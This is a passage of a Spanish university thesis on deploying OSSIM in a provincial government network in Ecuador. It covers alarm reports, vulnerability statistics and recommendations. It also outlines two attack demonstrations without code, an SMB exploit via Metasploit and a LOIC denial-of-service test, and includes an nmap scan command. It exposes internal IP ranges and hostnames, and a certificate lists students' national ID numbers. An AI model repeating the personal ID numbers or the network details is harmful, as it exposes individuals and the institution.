El Sistema genera informes eficaces de los eventos de seguridad, todos estos datos son de suma importancia para cualquier organización, desde pequeñas empresas a grandes corporaciones. Los administradores pueden utilizar dicha información para: Informar a todo el personal que trabaja con seguridad de la información acerca de los activos, vulnerabilidades y problemas de seguridad en una organización. Por ejemplo, un ejecutivo puede necesitar una descripción de alto nivel de lo que ocurre en una red, mientras que un analista de seguridad requeriría información detallada.

Habilitar la recuperación rápida de cualquier problema y vulnerabilidades en los sistemas. Con los informes se puede identificar patrones en los eventos de seguridad, dando a los analistas un medio preciso de remediación. Medir el nivel de cumplimiento de una normativa. Regulaciones de cumplimiento ayudan a las organizaciones a gestionar la seguridad de los activos y los datos confidenciales, como datos financieros, propiedad intelectual, registros de empleados, datos de clientes y datos de salud. Reglamento menudo también exigen el uso de los controles de seguridad a fin de proteger los datos y detectar cualquier intento de robos de datos o infracciones. Puede utilizar los informes para evaluar si seguridad de la información se vea comprometida

[bookmark: _Toc434438464]Reporte alarmas

Este informe generó información acerca las alarmas más destacadas es decir de los eventos de seguridad que podrían comprometer el funcionamiento de la red esto facilitara al administrador a enfocarse únicamente en los eventos importantes cumpliendo la función de correlación OSSIM posee. Los ítems que el sistema OSSIM mostró son:

· Top 10 equipos atacados
· Top 10 equipos atacantes
· Top 10 puertos usados
· Top 15 de alarmas
· Top 15 de alarmas con riesgo
· Informe geográfico 
A continuación describiremos cada uno de ellos.





[bookmark: _Toc434438465]Top 10 equipos atacados

Durante el tiempo de monitoreo, OSSIM generó el top 10 de los activos o host que más fueron atacados en un periodo de 31 días desde el 1 de julio de 2015 al 31 del mismo mes, el que más fue atacado fue un host con sistema Linux sin embargo de los 10 activos 8 fueron Windows en sus diferentes distribuciones el 90% de estos sistemas tenían abiertos puertos desconocidos los cuales debería cerrarse para evitar que sean atacados. Sería recomendable cerrar puertos innecesarios y verificarlos mediante un port scan y si no es posible hacerlo de uno en uno se recomienda el bloqueo general de puertos en el firewall de la empresa en este caso un Check Point para evitar la salida y entrada de datos que puedan perjudicar a la confidencialidad de la empresa evitando conexiones no deseadas a estos puertos
  
Otra recomendación seria el mantenimiento de los sistemas mediante un formateo de disco para eliminar las potenciales amenazas que en este caso en particular son capaces de abrir puertos en el host y crear conexiones hacia el equipo atacante  en este caso fueron troyanos y rootollkits
Que básicamente son payloads que al ser ejecutados por el usuario crean conexiones hacia el exterior
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[bookmark: _Toc429575216][bookmark: _Toc433582706]Figura   15-3 Reporte de alarmas-Top 10 equipos atacados
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438466]Top 10 equipos atacantes

El informe de equipos atacante que generó OSSIM incluyen las IPs atacantes, el país de origen y el número de ocurrencias el 50% de los equipos atacantes fuero de origen estadounidense pero el que más ocurrencias tuvo fue un equipo con base en Holanda todo esto fue recogido en un lapso de 31 días. La recomendación seria la misma que la del apartado anterior ya que estos ataques se pueden bloquear en el firewall ya que tienen una relación entre equipos atacantes y atacados, en la mayoría de casos, excepto cuando son ataques externos de DoS pero que de igual forma se los podrían bloquear por puerto o por dirección IP, mediante acls.
También sería recomendable la implementación de port security en los switches de acceso en el caso de que los equipos atacantes se encuentren en el interior de la lan 
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[bookmark: _Toc429575217][bookmark: _Toc433582707]Figura   16-3 Reporte de alarmas-Top 10 equipos atacantes
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


[bookmark: _Toc434438467]Top 10 puertos usados

OSSIM generó un reporte de cuales fueron los puertos más usados por los elementos maliciosos para realizar sus ataques los puertos más usados fueron los http y https debido a que los ataques fueron realizados desde otros países más adelante el apartado 3.3.2 se muestra cuáles fueron los países que más concurrencias tuvieron. En este caso en particular habría que verificar los servicios y los puertos para poder bloquearlos por ejemplo hacia el servidor web no se podría bloquear ataques hacia el puerto 80 o 443 ya que son puertos por los cuales se brinda el servicio web pero en el caso de un ataque por el puerto 80 hacia el servidor mail o dns sería recomendable cerrar o bloquear los puertos por los cuales no se brinda el servicio para mayor seguridad , la recomendación seria siempre cerrar los puertos que no se usan hay que tener en cuenta que todos estos reportes deben ser sujetos a su posterior verificación por parte del administrador de red para asegurarse de no interrumpir algún servicio y cerciorarse de que es un puerto usado por algún malware ya que el sistema podría detectarle como ataque a un puerto que es usada con demasiada frecuencia en cierto momento que resulta inusual para OSSIM por lo que provocaría la generación de un evento de seguridad que no necesariamente sería un ataque como por ejemplo el acceso repentino al puerto 22 (SSH)  para revisar, mantenimiento o instalar una aplicación en el server por parte del administrador o de sus ayudantes podrían generar este evento en el puerto 22.
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[bookmark: _Toc429575218][bookmark: _Toc433582708]Figura   17-3 Reporte de alarmas-Top 10 puertos usados
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438468]Top 15 de alarmas

Un reporte interesante que generó el sistema fue el top 15 alarmas y su fuente de origen ya sea software vulnerable o elementos malicioso como malwares y gusanos. La utilización de Skype fue la que más alarmas generó con un total de 16 además se encontró que un ataque de un malware infection tuvo 14 ocurrencias y una infección de gusano en dos ocasiones. La página BitTorrent también genero ocurrencias esto debido a que esta sirve para descargar archivos y que no son completamente confiables y pueden contener código malicioso. El bloqueo de puertos por el firewall de la empresa para evitar la descarga de malware en este caso por bitTorrent ya que al no ser necesaria para ejercer el trabajo por parte del personal y debido al riesgo que genera sería recomendable bloquear las conexiones hacia y desde bitTorrent lo mismo sucedería para Skype ya que todos no necesitan utilizarla y algunas IPs hacen un uso habitual de estos servicios que sin duda afectan en el rendimiento de sus funciones y en el incremento de tráfico en la red, esto en el primer caso.  En el otro la recomendación seria, en el caso de software vulnerable revisar los reportes de cada uno ya que en el informe que se genera no da la solución para determinada vulnerabilidad que por lo general es la instalación de un parche de seguridad o la actualización de determinado programa o incluso del mismo sistema operativo.
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[bookmark: _Toc429575219][bookmark: _Toc433582709]Figura   18-3 Reporte de alarmas-Top 15 alarmas
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438469]Top 15 de alarmas por riesgo

El sistema OSSIM entregó un reporte de cuál es el riego que corre la red o el sistema que ha sido atacado y los pone en un rango de 1 a 5 siendo 1 un riesgo bajo y 5 el más alto. Los datos recolectados muestra que la infección de gusano tiene un riesgo 3 y el de malware 2 siendo los más importantes los otros con riesgo 1 son poco relevantes aunque se debería tomar en cuenta. En este caso se recomienda hacer siempre la comprobación del sistema por parte del administrador de red y luego proceder a la desinfección o eliminación del malware mediante la actualización y ejecución de un programa antivirus en el o los hosts reportados ya que las amenazas no son solo por virus si no también spyware o adware que probablemente no lo detecte el antivirus en algunos casos pueda ser necesario el formateo del host y la actualización del sistema para corregir las vulnerabilidades y estar seguros de la completa eliminación del malware  y para terminar la recomendación más importante que podríamos es que se de capacitación al personal de la empresa en temas de seguridad  ya que son ellos los que hacen uso de programas innecesarios para el desarrollo de su trabajo y que comprometen la seguridad de los sistemas por lo que son los más susceptibles a sufrir los diferentes ataques.
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[bookmark: _Toc429575220][bookmark: _Toc433582710]Figura   19-3 Reporte de alarmas-Top 15 alarmas por riesgo
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015








[bookmark: _Toc434438470]Informe geográfico

El informe geográfico muestra el número de ataques por país que lo origina esta información es importante para que el administrador tenga una idea de cuál es el sector geográfico que más trata de vulnerar la red en este caso se detectó que en Estados Unidos con 411 ataques lo que representa el 61.3% del total fue el país que más ataques lanza a la red seguida de nuestro país Ecuador con 98 lo que representa 14.6% del total de ataques completa la lista de  20 países como corea del sur Francia Canadá , Holanda, Alemania, también se encuentran países de la región como Colombia Perú, Chile y Brasil. 
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[bookmark: _Toc429575221][bookmark: _Toc433582711]Figura   20-3 Informe geográfico-Top 20 países atacantes
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015










[bookmark: _Toc434438471]Tickets

Los tickets es una herramienta que OSSIM utiliza para proporcionar al administrador información resumida de las vulnerabilidades indicando la ip del activo, el puerto, su estado se han creado sobre la base de alarmas, eventos, anomalías y vulnerabilidades que existieron en el sistema. OSSIM genero gran cantidad de ticket debido a que la red del GAD de la Provincia de Chimborazo posee gran cantidad de activos es por eso que para motivos didácticos se muestra solo unos ejemplos de cómo fueron las presentaciones de los tickets en el informe que se generó.
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[bookmark: _Toc429575223][bookmark: _Toc433582712]    Figura   21-3 Ejemplo 1 de la presentación de tickets generados
      Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438472]Pruebas de concepto

Con lo mostrado en los apartados anterior se verifica que el sistema funciona correctamente no obstante se realizaron dos pruebas concepto con el fin de demostrar de que el sistema es capaz de detectar vulnerabilidades y problemas que se pueden presentar en la red.

[bookmark: _Toc434438473]Explotación del protocolo smb mediante metaexploit con kali 2

Se explotó el protocolo smb de una maquina con sistema operativo Windows XP del que habíamos hablado que era muy vulnerable para esto se siguieron los siguientes pasos: vamos a la pantalla de control de agentes HIDS.

[image: /Users/carlos/Pictures/prueba de concepto vnc/vlcsnap-2015-09-25-14h24m18s986.png]
[bookmark: _Toc433582713]Figura   22-3 Pantalla de control de agentes HIDS
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Ya estando ahí se creó el agente para luego conectarlo con un agente OSSEC 

[image: /Users/carlos/Pictures/prueba de concepto vnc/vlcsnap-2015-09-25-14h24m36s825.png]
[bookmark: _Toc433582714]Figura   23-3 Creación del agente en OSSIM
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
Procedemos a instalar OSSEC en la máquina de la víctima además revisamos la ip (192.168.2.115) de esta para saber el objetivo a atacar una vez instalado OSSEC en el Windows XP hay que conectarlo con el agente del sistema OSSIM

[image: /Users/carlos/Pictures/prueba de concepto vnc/vlcsnap-2015-09-25-14h25m12s092.png]
[bookmark: _Toc433582715]Figura   24-3 Instalación de OSSEC en Windows XP
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Luego de conectado OSSEC con el agente de OSSIM se revisó que este activado

[image: /Users/carlos/Pictures/prueba de concepto vnc/vlcsnap-2015-09-25-14h25m38s166.png]
[bookmark: _Toc433582716]Figura   25-3 Conexión y activación del agente en OSSIM	
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


Ya listo eso se realizó el ataque mediante el uso de Kali 2 donde se tomó el control de la maquina con Windows XP.

[image: /Users/carlos/Pictures/prueba de concepto vnc/vlcsnap-2015-09-25-14h26m16s275.png]
[bookmark: _Toc433582717]Figura   26-3 Ejecución del ataque con Kali 2
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Y por último revisamos como el sistema detecta el evento y nos avisa de la anomalía que ocurrió en la red detectando la ip que fue acatada en este caso la 192.168.2.115.

[image: /Users/carlos/Pictures/prueba de concepto vnc/vlcsnap-2015-09-25-14h28m28s703.png]
[bookmark: _Toc433582718]Figura   27-3 Detección del ataque con OSSIM
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438474]Ataque de DoS

El ataque de DoS o denegación de servicio es uno de las más comunes y sobretodo que ocurre de manera frecuencia en servidores web es por eso que el sistema ayudó a detectar este tipo de ataque a continuación se muestra como se hizo esta prueba. Revisamos primero la ip del atacante para luego poder comprobar con lo que detecto OSSIM.

[image: /Users/carlos/Pictures/prueba de concepto DoS/vlcsnap-2015-09-25-14h36m45s536.png]
[bookmark: _Toc433582719]Figura   28-3 Mustra de la IP  del atacante
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Desplegamos el programa Low Orbit y hacemos ping al servidor web para revisar que los tiempos de respuesta sean normales.

[image: /Users/carlos/Pictures/prueba de concepto DoS/vlcsnap-2015-09-25-14h32m56s347.png]
[bookmark: _Toc433582720]Figura   29-3 Despliegue de Low Orbit y ping al servidor www
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
Lanzamos el ataque e hicimos ping de nuevo y se observó como el tiempo de respuesta fue en aumento.

[image: /Users/carlos/Pictures/prueba de concepto DoS/vlcsnap-2015-09-25-14h33m21s482.png]
[bookmark: _Toc433582721]Figura   30-3 Lanzamiento del ataque y ping al servidor www
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Luego fuimos a el sistema OSSIM para verificar como este lo detectó y mostrando la ip del atacante.

[image: /Users/carlos/Pictures/prueba de concepto DoS/vlcsnap-2015-09-25-14h38m30s456.png]
[bookmark: _Toc433582722]Figura   31-3 Detección del ataque con OSSIM
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
También se puede verificar en el cuadro de comandos en la información general del sistema como el evento fue registrado y así comprobando la efectividad del sistema implementado

[image: /Users/carlos/Pictures/prueba de concepto DoS/vlcsnap-2015-09-25-14h37m07s011.png]
[bookmark: _Toc433582723]Figura   32-3 Registro del evento en la información general de OSSIM
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015



















[bookmark: _Toc434438475]CONCLUSIONES 


· Se implementó exitosamente el sistema de gestión de seguridad OSSIM en la red del edificio de GAD de la provincia de Chimborazo cumpliendo de manera satisfactoria el objetivo general que nos habíamos planteado al inicio de este trabajo de titulación.

· Se detectaron 11 redes en el edificio del GAD de la Provincia de Chimborazo, además de 5 servidores a los que solo se obtuvo acceso a 3, también se observó que la red 192.168.10.0 posee más activos de red con 63 que representa el 15% del total de activos la que le sigue es la red 192.168.7.0 con 55 activos lo que representa el 13% del total de activos y en tercer lugar la red 192.168.8.0 con 54 activo lo que representa el 13%, le sigue la red 192.168.5.0 y 192.168.9.0 con 50 activos cada uno que es el 12% del total, después las redes 192.168.2.0 con 36 activos (9%), 192.168.4.0 con 30 activos (7%), 192.168.6.0 con 28 activos (7%), 192.168.6.0 con 26 activos (6%), 192.168.0.0 con 18 activos (5%), 192.168.1.0 con 2 activos.

· Se encontró varias vulnerabilidades en la red como software que ya no tiene soporte un sinnúmero de puertos abiertos innecesarios en los activos, lo que podría originar una denegación de servicio en la página web, en el servidor mail o DNS, además de que los usuarios de la red acceden a sitios que potencialmente peligrosos, lo que puede originar daños en los activos de la red.

· Se calculó el total de vulnerabilidades presentes en la red del GAD provincial en donde se pudo observar que las vulnerabilidades serias representan el 1% del total, las altas son un 8% del total, las bajas son el 7% del total mientras las bajas son las que predominan en presencia con un 84% de 3447 vulnerabilidades halladas en la red.

· La red 192.168.0.0/24 es la que más vulnerabilidades serias presentó lo que es grave ya que en esta red se encuentran los servidores web, DNS y mail los cuales poseen información fundamental para el desarrollo normal de la institución. 

· El host más atacado fue el de IP 192.168.2.3 una computadora con sistema Linux, además los puertos más utilizados por los atacantes fueron el 80 (http), 443 (https) los cuales eran principalmente de EE.UU. y Ecuador.

· Skype y Google Talk son dos de las aplicaciones que generan más alarmas debido a con estas se pueden transmitir archivos maliciosos que pueden infectar los host de la red. 

· Las pruebas de concepto realizadas demostró que el sistema detecta sin ningún problema los ataques que puede sufrir la red dándole al administrador una herramienta para poder mitigar estos problemas.
	


















[bookmark: _Toc434438476]RECOMENDACIONES 


· Se recomienda actualizar el sistema cada cierto tiempo OSSIM es un sistema de código abierto por lo que está evolucionando y mejorando continuamente gracias a los desarrolladores de software libre.

· OSSIM gestiona gran cantidad de datos de la red por lo que, si los activos de esta aumenta sería recomendable aumentar la memoria RAM del servidor o en el peor de los casos migrar a un servidor con mejores características a fin de que el sistema no se torne lento o colapse.

· Se debe realizar un escaneo general de la red por lo menos una vez por mes ya que con el tiempo la institución puede ir incorporando nuevos activos que deben ser monitoreados por el sistema.

· Es recomendable actualizar los softwares caducos como Windows XP de las computadoras que todavía los usen.

· Se debería cerrar los puertos de los activos que sean desconocidos ya que es por aquí que los atacantes pueden ingresar a la red y ocasionar problemas.

· OSSIM es una herramienta muy poderosa de código abierto y por ende gratuita por lo que no posee otras características de su versión de paga USM (Unified Security Management de Alien Vault) que hace que la red este aún más segura y facilite más todavía el trabajo del administrador por lo que es recomendable obtener la versión de paga cuyo precio es de 3900 dólares americanos.

· Es recomendable crear políticas de seguridad para impedir a los empleados a ingresar a páginas web que no son necesarias para el desenvolvimiento de su trabajo como Facebook, Twitter, Skype, etc. Además evitar también que descarguen contenido innecesario. 
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  Anexo 1 Verificación de conectividad del servidor OSSIM
   Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
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    Anexo 2 Instalando y configurando OSSIM en el GAD de Chimborazo
      Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
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                                Anexo 3 Funcionamiento de OSSIM en el data center del GAD de              				        Chimborazo.
                                             Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
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                         Anexo 4 Servidor OSSIM en el data center del GAD de Chimborazo
                                                Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
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Anexo 5 Certificado de haber culminado la implementación de OSSIM en el GAD de Chimborazo
Fuente: Ing. Jaime Zarate Jefe de la Unidad de Tecnología de Información y Comunicación
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Sistemas Operativos

Linux	Open BSD	Unix	Ossim	Win XP	Win 7	Win vista	Win 2008	Win 8.1	Win 10	Cisco	Samsung	Xerox	Konica	Tplink	Hp	3com	Intel	Tibbo	Apple	Vx work	Dell	Otro	27	2	1	1	13	3	2	4	106	22	11	14	3	2	2	2	4	1	1	3	5	1	4	





REDES	192.168.0.0	192.168.1.0	192.168.2.0	192.168.3.0	192.168.4.0	192.168.5.0	192.168.6.0	192.168.7.0	192.168.8.0	192.168.9.0	192.168.10.0	0	18	2	36	26	30	50	28	55	54	50	63	
REDES	192.168.0.0	192.168.1.0	192.168.2.0	192.168.3.0	192.168.4.0	192.168.5.0	192.168.6.0	192.168.7.0	192.168.8.0	192.168.9.0	192.168.10.0	

Vulnerabilidades 

VULNERABILIDADES	SERIAS	192.168.0.0/24	192.168.1.0/24	192.168.2.0/24	192.168.3.0/24	192.168.4.0/24	192.168.5.0/24	192.168.6.0/24	192.168.7.0/24	192.168.8.0/24	192.168.9.0/24	192.168.10.0/24	16	0	7	8	2	0	7	4	3	0	11	VULNERABILIDADES	ALTAS	192.168.0.0/24	192.168.1.0/24	192.168.2.0/24	192.168.3.0/24	192.168.4.0/24	192.168.5.0/24	192.168.6.0/24	192.168.7.0/24	192.168.8.0/24	192.168.9.0/24	192.168.10.0/24	74	0	39	34	14	35	29	40	42	2	30	VULNERABILIDADES	MEDIAS	192.168.0.0/24	192.168.1.0/24	192.168.2.0/24	192.168.3.0/24	192.168.4.0/24	192.168.5.0/24	192.168.6.0/24	192.168.7.0/24	192.168.8.0/24	192.168.9.0/24	192.168.10.0/24	119	0	23	18	9	25	16	24	24	4	16	VULNERABILIDADES	BAJAS	192.168.0.0/24	192.168.1.0/24	192.168.2.0/24	192.168.3.0/24	192.168.4.0/24	192.168.5.0/24	192.168.6.0/24	192.168.7.0/24	192.168.8.0/24	192.168.9.0/24	192.168.10.0/24	863	0	282	301	193	346	307	389	371	93	302	



Total de Vulnerabilidades


SERIAS	ALTAS	MEDIAS	BAJAS	TOTAL	VULNERABILIDADES	58	339	278	3447	
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GOBIERNO AUTONOMO DESCENTRALIZADO / ?’:;C:\
DE LA PROVINCIA DE CHIMBORAZO ==

UNIDAD DE TECNOLOGIA, INFORMACION Y COMUNICACION Eoblernu Autonomo Descentralizado
1 Provincia Chimborazo

Riobamba, 23 de Octubre del 2015

CERTIFICO

Que los sefiores Carlos Alberto Guerrero Montero y Andrés Ramiro Morales Garcia,
portadores de la cédula de identidad N° 0604850917 , 0603888637, estudiantes de la
Escuela Superior Politécnica de Chimborazo “ESPOCH” de la facultad de INFORMATICA
Y ELECTRONICA , realizaron la “IMPLEMENTACION DEL SISTEMA DE GESTION DE
EVENTOS DE SEGURIDAD DE LA INFORMACION (0SSIM) EN LA
INFRAESTRUCTURA DE RED DEL GAD DE LA PROVINCIA DE CHIMBORAZO”
demostrando trabajo, responsabilidad y honestidad en el desarrollo de las tareas a ella
encomendadas.

Es todo cuanto puedo informar en honor a la verdad, facultando al interesado, hacer uso
de este documento como a bien tuviere.

Atentamente,

o /
JEFE DE LA UNIDAD DE TECNOLOGIA
DE INFORMACION Y COMUNICACION

CHIMBORAZO MULTICOLOR
Dir: 1ra Constituyente y Carabobo - Riobamba
Teléfortos: 2942619 - - 2969887ext. 160 /230 fax: 2947397
www.chimborazo.gob.ec





image3.png
FRONTEND.

CAPA SUPERIOR

Server

v
Managerent
s

CAPA INTERMEDIA

os.

sensor

CAPA INFERIOR





image4.png
OSSIM

Cuadro de Mandos

A. Forense Monitor Riesgos Monitor Uso

Correlacién

Valor de Riesgo

Priorizacién

Colecto r/ Normalizaciéon
*

Detectores:

Anomalias s Fw UNIX Windows




image5.png
o | ‘Cuadro Mandos

e ———. L &
-0 Monitores | [ cons. Forense
6. Correlacion
L Val. Riesgo
PostProcesado
4 Priorizacion
3. Normalizacion
ay2s Det. Det.
| rotes | | Mares | P




image6.jpeg
DISENO LOGICO DE LA RED DEL GAD DE LA PROVINCIA DE CHIMBORAZO

192.168.1.0/24
192.168.2.0124
192.168.3.0024
192.168.4.0124
192.168.5.0124
192.168.6.0124
192.168.7.0124
192.168.8.0124
192.168.9.0124
192.168.10.0124





image7.jpeg
eoe
Scan_Tools profile Help

| Zenmap

Targer: 15216800726

v | Profite: [intense scan, al TcP ports

Command: [nmap -p 1-65535 ~T4 -A -v 192.168.0.0/24

Hosts. Services

|Host
192.168.0.1
192.168.0.4

=|8

checkpoint.chimborazo.gob.ec (192.168.0.7)
192.168.0.8

intranet.chimborazo.gob.ec (192.168.0.9)
ns.chimborazo.gob.ec (192.168.0.11)
192.168.0.14

www.chimborazo.gob.ec (192.168.0.15)
mail.chimborazo.gob.ec (192.168.0.16)
192.168.0.18

192.168.0.25

192.168.0.31

192.168.0.32

192.168.0.33

192.168.0.34

192.168.035

192.168.0.50

192.168.0.200

PIIITATATIISIFISTACS

Filter Hosts

Nmap Output | Ports / Hosts | Topology | Host Details [ scans |
nmap -p 1-65535 -T4 -A -v 192.168.0.0/24

Details
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Nnap scan report for 192.168.0.6 [host down]
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Nnap scan report for 192.168.0.12 [host down]
Nnap scan report for 192.168.0.13 [host down]
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Scanning 8 hosts (65535 ports/host]
Discovered open port 53/tcp on 192.168.0.
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ALIEN VAULT OSSIM

Install AlienVault OSSIM 5.1.8 (64 Bit)
Install AlienVault Sensor 5.1.8 (64 Bit)

5 Dtabl to edit options

http://www.alienvault.com
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ALIEN VAULT OSSIM

Select a language

Choose the language to be used for the installation process. The selected language will also be the default language

for the installed system.
Language:

Polish

Portuguese
Portuguese (Brazil)
Punjabi (Gurmukhi)
Romanian

Russian

Serbian (Cyrillic)
Sinhala

Slovak

Slovenian

Polski

Portugués
Portugués do Brasil
W

Romana

Pycckuii

cprckin

Sanc

Slovencina
Slovenseina

Swedish
Tagalog

[ screenshot

Svenska

Tagalog

(

Go Back

) (Gcontnus
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ALIEN VAULT OSSIM

Seleccione su ubicacion

La ubicacién seleccionada aqui se utilizaré para fijar su zona horaria y también como ejemplo para ayudarle a
seleccionar la localizacién de su sistema. Esta generalmente deberfa ser el pais donde vd. vive

Esta es una lista reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja «otro» si su ubicacién no
esta en la lista.

Pais, territorio o area:

chile -
Colombia

Costa Rica

Ec d
El Salvador

Espafia
Estados Unidos
Guatemala
Honduras
México

Nicaragua

Capturar la pantalla Retroceder Continuar
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ALIEN VAULT OSSIM

Configure el teclado

Mapa de teclado a usar:
Griego =
Hebreo

Huangaro

Islandés

taliano

Japonés

Kirghizo

r

T

Letén
Lituano

Macedonio

Noruego

Polaco

Portugués

Rumano v

Capturar la pantalla Retroceder Continuar,

-
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ALIEN VAULT OSSIM

Configurar la red

El sistema tiene varias interfaces de red. Por favor, elja la que quiere utilizar como interfaz de red primaria durante la
instalacion. Se ha seleccionado la primera interfaz de red conectada si habia alguna que lo estaba.
Interfaz de red primaria;

etho: Realtek Semiconductor

Ltd, T

igabit Ethernet
ethl: Broadcom Corporation Netxtreme BCMS761 Gigabit Ethernet PCle

Capturar la pantalla Retroceder Continuar




image15.png
ALIEN VAULT OSSIM

Configurar la red

La direccion P es Gnica para su ordenador y esté formada por cuatro nimeros separados por puntos. Consulte al
administrador de red si no sabe qué usar aqui.

Direccin IP:

192.168.0p00

[Copturar e parcae] [ raewa
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ALIEN VAULT OSSIM

Configurar la red

La mascara de red se utiliza para determinar qué sistemas estan incluidos en la red. Consulte al administrador de red
sino conoce el valor. La mascara de red deberia introducirse como cuatro nimeros separados por puntos.

Mascara de red:

255.255.255.0]

[Copturar e parcae] [ raewa





image17.png
ALIEN VAULT OSSIM

Configurar la red

La pasarela es una direccion IP (cuatro nimeros separados por puntos) que indica el encaminador de pasarela,
también conocido como encaminador por omision. Todo el trafico que se envia fuera de su LAN (por ejemplo, hacia
Internet) se envia a este encaminador. En algunas circunstancias anormales, puede no tener un encaminador: si es

asilo puede dejar en blanco. Si no sabe la respuesta correcta a esta pregunta, consulte al administrador de red.
pasarels.

Capturar la pantalla
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Configurar la red

Los senvidores de nombres se utiizan para buscar los nombres de las maquinas de la red. Por favor, introduzca la
direccin IP (no el nombre de sistema) de hasta tres servidores de nombres, separados por espacios. No utilice
comas. Se consultaran los servidores en el orden en que se introduzcan. Si no quiere utilizar ningan servidor de
nombres deje este campo en blanco.

Direcciones de servidores de nombres:

1921680000

[Copturar e parcae] [ raewa
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ALIEN VAULT OSSIM

Configurar usuarios y contrasefas

Necesita definir una contrasefia para el superusuario (aroot»), la cuenta de administracion del sistema. Un usuario
malicioso o sin Ia debida calificacion con acceso a la cuenta de administracién puede acarrear unos resultados
desastrosos, asi que debe tener cuidado para que la contrasefia del superusuario no sea facil de adivinar. No debe
ser una palabra de diccionario, o una palabra que pueda asociarse facilmente con usted.

Una buena contrasefia debe contener una mezcla de letras, nimeros y signos de puntuacion, y debe cambiarse
regularmente.

La contrasefia del usuario «root» (administrador) no deberia estar en blanco, Si deja este valor en blanco, entonces
se deshabilitaré la cuenta de root creara una cuenta de usuario a la que se le daran permisos para convertirse en
usuario administrador utilizando Ia orden «sudon.

Tenga en cuenta que no podré ver Ia contrasefia mientras Ia introduce.
Clave del superusuario:

Por favor, introduzca la misma contrasefia de superusuario de nuevo para verficar que la introdujo correctamente,
Welva a introducir Ia contraseia para su verificacion;

[Copturar e parcae] [ raewa
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ALIEN VAULT OSSIM

Configurar el reloj

Sila zona horaria deseada no esta listada entonces vuelva atras al paso «Escoja el idioman y seleccione un pais que
\ utilice Ia zona horaria deseada (el pais donde vive o esté ubicado).
Seleccione una ubicacion en su zona horaria:

Islas Galapagos

Capturar la pantalla
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Instalar el sistema base

Instalando paquetes principales.
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Access the AlienVault ueb interface using the following URL
https://192.168.0.200,

AlienVault USM 5.1.0 - xB86_64 — ttyl

alienvault login: root
Passuord :
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AlienVault Setup
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Welcome to AllenVault OSSIM

SKIP ALIENVAULT WIZARD

s Get started

Configure Network Interfaces

The netwark interfaces in AllenVault OSSIM can be configured to run Network Monitoring or as Log Collection & Scanning, Once you've configured the
nterfaces you'll need to ensure that the networking is configured appropriately for each interface so that AllenVault OSSIM is either recelving data passively
or has the abilit to reach out to the desired network.

NI PURPOSE 1P ADDRESS STATUS infoemadon

+ Management: The Management interface
was configured on the OSSIM Console and

etho Management g 192.168.0.200 9 allows you to connect to the web UL This
Interface cannot be changed from the we
u.

eth Network Monioring | ¥ NiA .

+ Network Monitoring: Passivel listen for
network raffc. Interface will be set to
promiscuous mode. Requlres a network
13p or span. See Insiructons n how to
Setup a network tap or span.
Log Collection & Scanning: Collect or
recelva logs from your assets,fun an asset
scan, or deploy the HIDS agent. Requires.
foutable access 1o your networks.

+ Notin Use: Use this option if you do not
want to use one of the network Interfaces.
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Lat's Got startad Scan & Add Assets.

@ rervorcweRaces In arder to begin monitoring your environment we must first find the assets in your netwark, There are three (3) ways you can add assets ta monitar: you
an scan your network using network ranges, import a CSV of assets in your network, or you can add assets manually.

SOV Add Asset Manually

pr— 1921680200 U B o
ehnckpoint 19216807 omen  * |7 o
Hose192:168.01 19216801 Network Davice % [ ¥ o
Host192-168014 102168014 e % B o
Host192:168.0-18 192168018 U % |8 o
Hose192-1680.201 192.1680.201 . v o
Host192-168.025 192.168025 Windows % [+ o
Host192:168.0250 192.168.0250 unax % [¥ o
Host192:168031 192.168031 e %[ []
Host192:168032 192.168032 Windows % [+ []

SKIP ALIENVAULT WIZARD
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HIDS Deployment

We were able to deploy HIDS 10 3 of the 3 devices selected.
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Set up Log Management

During the asset discovery scan we found 19 network devices an your network. Confirm the vendor, model, and version of the device shown, Click the

Enable" button to enable the data Saurce pIEIN for each device.

Asser VENDOR
Host-192-168-0-1 (192.168.0.1) Cisen
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Welcome ta Alienvau OSSIM

[rR—
@ revvonc wreaces
@ s viscoviny
@ eriovos
@ ocwamscvent

SKIP ALIENVAULT WIZARD

Join the Open Threat Exchange - Threat Intelligence for You, Powered by the Community

What is T2

Allenvault Open Threat Exchange (OTX™) is the world's first truly open threat intelligence
community. OTX enables you to strengthen your network security defenses with
community-powered, accurate, and relevant threat intelligence. With AllenVault OTX, you
can respond faster to changes in the threat landscape by receiving real-time, detailed
threat ntelligence from the community.

Why should | join?

OTX automatically instruments your USM and OSSIM deployments with actionable threat
intelligence from community-generated Pulses”. Pulses are a group of Indicators of
compromise (IaCs) that have been identified a an active threat. These pulses provide
specific actionable information that help you to detect the latest threats in your
environment.

How does It work?

Enabling OTX In your OSSIM installation will enable you integrate OTX Pulses containing the
latest threat Intelligence, Including Indicators of Compromise (Io€) to your installation.
When 10Cs from a pulse interact with assets I your environment, a security evert wil be.
generated. These events will be used in correlation to provide you with deeper nsight into
the activities happening on your network. Additionally you can contribute to the.
community by sending anonymous threat data to OTX, See What data 15 being sent (o OTX.

To get the community-powered threat intelligence from OTX into your installation, sign up
for an OTX Account. Onice your emall address has been verlfied, you wil receive an OTX key
to connect,

Enter your OTX ke below to connect your account.

